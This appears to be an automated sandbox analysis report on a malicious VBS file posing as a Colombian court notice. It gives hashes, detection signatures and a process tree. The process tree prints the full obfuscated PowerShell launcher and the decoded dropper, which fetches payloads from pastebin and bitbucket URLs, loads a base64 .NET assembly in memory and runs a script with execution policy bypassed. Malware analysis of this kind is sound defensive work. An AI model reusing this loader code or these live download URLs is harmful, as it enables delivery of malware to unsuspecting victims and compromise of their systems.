Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    26-11-2024 22:46

General

  • Target

    00254-ENVIO COPIA DE LA NOTIFICACION ELECTRONICA DEMANDA JUZGADO PENAL CIRCUITO RAMA JUDICIAL/012-EN.vbs

  • Size

    30.4MB

  • MD5

    2063532fceeb572f8611f222dffd01ed

  • SHA1

    f0d1938c04c06c9fa2f9f64408159f8a18404e0a

  • SHA256

    980a6398745d8c656a7270b782d779c7328ceffa91e8bafb2020d0983ee1c1aa

  • SHA512

    5bd582557408bd505e6c586690b12cd3a7463372c6f4aa1801c76d75dee7ad1c31a2515f3f508d875c806fc7d7f1a1e7be3e4f451029ff548346bfae0e2a3a97

  • SSDEEP

    384:SHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPA:eECOzjL1

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://pastebin.com/raw/rE7gKnsP

exe.dropper

https://pastebin.com/raw/rE7gKnsP

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\00254-ENVIO COPIA DE LA NOTIFICACION ELECTRONICA DEMANDA JUZGADO PENAL CIRCUITO RAMA JUDICIAL\012-EN.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2104
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT★Hk★cwB0★GU★bQ★u★E4★ZQB0★C4★UwBl★HI★dgBp★GM★ZQBQ★G8★aQBu★HQ★TQBh★G4★YQBn★GU★cgBd★Do★OgBT★GU★YwB1★HI★aQB0★Hk★U★By★G8★d★Bv★GM★bwBs★C★★PQ★g★Fs★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★FM★ZQBj★HU★cgBp★HQ★eQBQ★HI★bwB0★G8★YwBv★Gw★V★B5★H★★ZQBd★Do★OgBU★Gw★cw★x★DI★Ow★k★Ho★RgBL★GE★QQ★g★D0★I★★n★Gg★d★B0★H★★cw★6★C8★LwBw★GE★cwB0★GU★YgBp★G4★LgBj★G8★bQ★v★HI★YQB3★C8★cgBF★Dc★ZwBL★G4★cwBQ★Cc★I★★7★CQ★SQBl★H★★RwBR★C★★PQ★g★Cg★I★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★x★C4★d★B4★HQ★Jw★p★Ds★J★B3★GU★YgBD★Gw★aQBl★G4★d★★g★D0★I★BO★GU★dw★t★E8★YgBq★GU★YwB0★C★★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★Fc★ZQBi★EM★b★Bp★GU★bgB0★C★★Ow★k★FI★VgBV★Fg★dg★g★D0★I★★k★Hc★ZQBi★EM★b★Bp★GU★bgB0★C4★R★Bv★Hc★bgBs★G8★YQBk★FM★d★By★Gk★bgBn★Cg★I★★k★Ho★RgBL★GE★QQ★g★Ck★I★★7★CQ★UgBW★FU★W★B2★C★★f★★g★E8★dQB0★C0★RgBp★Gw★ZQ★g★C0★RgBp★Gw★ZQBQ★GE★d★Bo★C★★J★BJ★GU★c★BH★FE★I★★t★EU★bgBj★G8★Z★Bp★G4★Zw★g★Cc★VQBU★EY★O★★n★C★★LQBm★G8★cgBj★GU★I★★7★CQ★UwBU★GY★RwBs★C★★PQ★g★Cg★I★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★y★C4★d★B4★HQ★Jw★p★C★★Ow★k★F★★a★By★Gw★Tg★g★D0★I★BO★GU★dw★t★E8★YgBq★GU★YwB0★C★★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★Fc★ZQBi★EM★b★Bp★GU★bgB0★C★★Ow★k★F★★a★By★Gw★Tg★u★EU★bgBj★G8★Z★Bp★G4★Zw★g★D0★I★Bb★FM★eQBz★HQ★ZQBt★C4★V★Bl★Hg★d★★u★EU★bgBj★G8★Z★Bp★G4★ZwBd★Do★OgBV★FQ★Rg★4★C★★Ow★k★EQ★S★B6★FU★QQ★g★C★★PQ★g★Cg★I★BH★GU★d★★t★EM★bwBu★HQ★ZQBu★HQ★I★★t★F★★YQB0★Gg★I★★k★Ek★ZQBw★Ec★UQ★g★Ck★I★★7★CQ★dQBU★Gw★S★B6★C★★PQ★g★CQ★U★Bo★HI★b★BO★C4★R★Bv★Hc★bgBs★G8★YQBk★FM★d★By★Gk★bgBn★Cg★I★★k★EQ★S★B6★FU★QQ★g★Ck★I★★7★CQ★dQBU★Gw★S★B6★C★★f★★g★E8★dQB0★C0★RgBp★Gw★ZQ★g★C0★RgBp★Gw★ZQBQ★GE★d★Bo★C★★J★BT★FQ★ZgBH★Gw★I★★t★GY★bwBy★GM★ZQ★g★Ds★J★BN★E8★R★BS★Gc★I★★9★C★★I★★n★CQ★cgB5★GE★ZQBH★C★★PQ★g★Cg★RwBl★HQ★LQBD★G8★bgB0★GU★bgB0★C★★LQBQ★GE★d★Bo★C★★Jw★n★Cc★I★★r★C★★J★BT★FQ★ZgBH★Gw★I★★r★C★★Jw★n★Cc★I★★t★EU★bgBj★G8★Z★Bp★G4★Zw★g★FU★V★BG★Dg★KQ★7★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBb★EI★eQB0★GU★WwBd★F0★I★★k★EY★eQBm★GQ★eg★g★D0★I★Bb★HM★eQBz★HQ★ZQBt★C4★QwBv★G4★dgBl★HI★d★Bd★Do★OgBG★HI★bwBt★EI★YQBz★GU★Ng★0★FM★d★By★Gk★bgBn★Cg★I★★k★HI★eQBh★GU★Rw★u★HI★ZQBw★Gw★YQBj★GU★K★★n★Cc★J★★k★Cc★Jw★s★Cc★JwBB★Cc★Jw★p★C★★KQ★g★Ds★Jw★g★Ds★J★BN★E8★R★BS★Gc★I★★r★D0★I★★n★Fs★UwB5★HM★d★Bl★G0★LgBB★H★★c★BE★G8★bQBh★Gk★bgBd★Do★Jw★g★Cs★I★★n★Do★QwB1★HI★cgBl★G4★d★BE★G8★bQBh★Gk★bg★u★Ew★bwBh★GQ★K★★g★CQ★RgB5★GY★Z★B6★C★★KQ★u★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBH★GU★d★BU★Hk★c★Bl★Cg★I★★n★Cc★V★Bl★Gg★dQBs★GM★a★Bl★HM★W★B4★Fg★e★B4★C4★QwBs★GE★cwBz★DE★Jw★n★C★★KQ★u★Ec★ZQB0★E0★Jw★g★Ds★J★BN★E8★R★BS★Gc★I★★r★D0★I★★n★GU★d★Bo★G8★Z★★o★C★★Jw★n★E0★cwBx★EI★SQBi★Fk★Jw★n★C★★KQ★u★Ek★bgB2★G8★awBl★Cg★I★★k★G4★dQBs★Gw★I★★s★C★★WwBv★GI★agBl★GM★d★Bb★F0★XQ★g★Cg★I★★n★Cc★d★B4★HQ★LgBz★GE★YQBv★Gk★dgBu★GU★LwBz★GQ★YQBv★Gw★bgB3★G8★Z★★v★DI★MQBl★H★★ZQBy★GQ★YQBv★Gw★bgB3★G8★Z★★v★GU★c★Bl★HI★Z★Bh★G8★b★Bu★Hc★bwBk★C8★ZwBy★G8★LgB0★GU★awBj★HU★YgB0★Gk★Yg★v★C8★OgBz★H★★d★B0★Gg★Jw★n★C★★L★★g★Cc★Jw★l★Eo★awBR★GE★cwBE★GY★ZwBy★FQ★Zw★l★Cc★Jw★g★Cw★I★★n★Cc★XwBf★F8★XwBf★F8★YQBz★GE★ZwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★LQ★t★C0★LQ★t★C0★LQ★n★Cc★L★★g★Cc★Jw★w★Cc★Jw★s★C★★Jw★n★DE★Jw★n★Cw★I★★n★Cc★UgBv★GQ★YQ★n★Cc★I★★g★Ck★I★★p★C★★Ow★n★C★★Ow★k★FY★QgBX★Fc★eg★g★D0★I★★o★C★★WwBT★Hk★cwB0★GU★bQ★u★Ek★Tw★u★F★★YQB0★Gg★XQ★6★Do★RwBl★HQ★V★Bl★G0★c★BQ★GE★d★Bo★Cg★KQ★g★Cs★I★★n★GQ★b★Bs★D★★Mw★u★H★★cw★x★Cc★I★★p★C★★Ow★k★E0★TwBE★FI★Zw★g★Hw★I★BP★HU★d★★t★EY★aQBs★GU★I★★t★EY★aQBs★GU★U★Bh★HQ★a★★g★CQ★VgBC★Fc★VwB6★C★★I★★t★GY★bwBy★GM★ZQ★g★Ds★c★Bv★Hc★ZQBy★HM★a★Bl★Gw★b★★g★C0★RQB4★GU★YwB1★HQ★aQBv★G4★U★Bv★Gw★aQBj★Hk★I★BC★Hk★c★Bh★HM★cw★g★C0★RgBp★Gw★ZQ★g★CQ★VgBC★Fc★VwB6★C★★Ow★=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('★','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\00254-ENVIO COPIA DE LA NOTIFICACION ELECTRONICA DEMANDA JUZGADO PENAL CIRCUITO RAMA JUDICIAL\012-EN.vbs');powershell $Yolopolhggobek;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1592
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/rE7gKnsP' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''TehulchesXxXxx.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''txt.saaoivne/sdaolnwod/21eperdaolnwod/eperdaolnwod/gro.tekcubtib//:sptth'' , ''C:\Users\Admin\AppData\Local\Temp\00254-ENVIO COPIA DE LA NOTIFICACION ELECTRONICA DEMANDA JUZGADO PENAL CIRCUITO RAMA JUDICIAL\012-EN.vbs'' , ''______asag______________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1580
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3016

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\dll02.txt

    Filesize

    2B

    MD5

    f3b25701fe362ec84616a93a45ce9998

    SHA1

    d62636d8caec13f04e28442a0a6fa1afeb024bbb

    SHA256

    b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

    SHA512

    98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

  • C:\Users\Admin\AppData\Local\Temp\dll03.ps1

    Filesize

    1KB

    MD5

    6cbdd377387430c01a30f811c9db7bf2

    SHA1

    81d8b2aad0050a5a373ac9bdfaa4766be960af3a

    SHA256

    ca39f66a183c13c8202648eb7b63e216839705736d387dd777f02e49480ce907

    SHA512

    459ce4231b8f2618ae7eb1d1056e846fbdfd34903507c6eabfd0bb730530b0d243d799e743e2261aa65b8dac97602b739df31a40ad9522824611e96a5e4565a6

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    4340aa0aeb7588b894979371a3a22183

    SHA1

    4776a71e91d02e76998041ed59c575d91b2caea7

    SHA256

    7a032964dc1f5f07a3903330c75c3344728b1f2fdff94a5914248de84e209abd

    SHA512

    a7e699470d1801e300769e69cff40c6c0de3b3f685e12f45e82cd76a48c494c87590d7c8ca7fdac5dea75a11955e5f170d477d931b3803174f978f9c00d7d85a

  • memory/1592-4-0x000007FEF687E000-0x000007FEF687F000-memory.dmp

    Filesize

    4KB

  • memory/1592-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

    Filesize

    2.9MB

  • memory/1592-6-0x00000000005F0000-0x00000000005F8000-memory.dmp

    Filesize

    32KB

  • memory/1592-7-0x000007FEF65C0000-0x000007FEF6F5D000-memory.dmp

    Filesize

    9.6MB

  • memory/1592-9-0x000007FEF65C0000-0x000007FEF6F5D000-memory.dmp

    Filesize

    9.6MB

  • memory/1592-25-0x000007FEF65C0000-0x000007FEF6F5D000-memory.dmp

    Filesize

    9.6MB